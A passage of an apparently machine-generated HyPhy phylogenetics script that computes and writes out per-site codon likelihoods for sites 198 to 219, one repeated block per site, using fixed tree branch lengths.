treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"198\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 199...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"594,595,596\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 199\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"199\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 200...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"597,598,599\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 200\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"200\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 201...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"600,601,602\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 201\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"201\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 202...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"603,604,605\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 202\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"202\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 203...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"606,607,608\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 203\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"203\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 204...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"609,610,611\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 204\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"204\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 205...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"612,613,614\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 205\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"205\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 206...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"615,616,617\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 206\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"206\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 207...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"618,619,620\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 207\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"207\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 208...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"621,622,623\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 208\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"208\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 209...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"624,625,626\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 209\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"209\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 210...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"627,628,629\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 210\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"210\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 211...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"630,631,632\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 211\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"211\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 212...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"633,634,635\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 212\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"212\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 213...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"636,637,638\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 213\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"213\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 214...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"639,640,641\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 214\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"214\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 215...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"642,643,644\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 215\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"215\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 216...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"645,646,647\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 216\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"216\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 217...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"648,649,650\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 217\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"217\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 218...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"651,652,653\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 218\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"218\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 219...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"654,655,656\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 219\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); 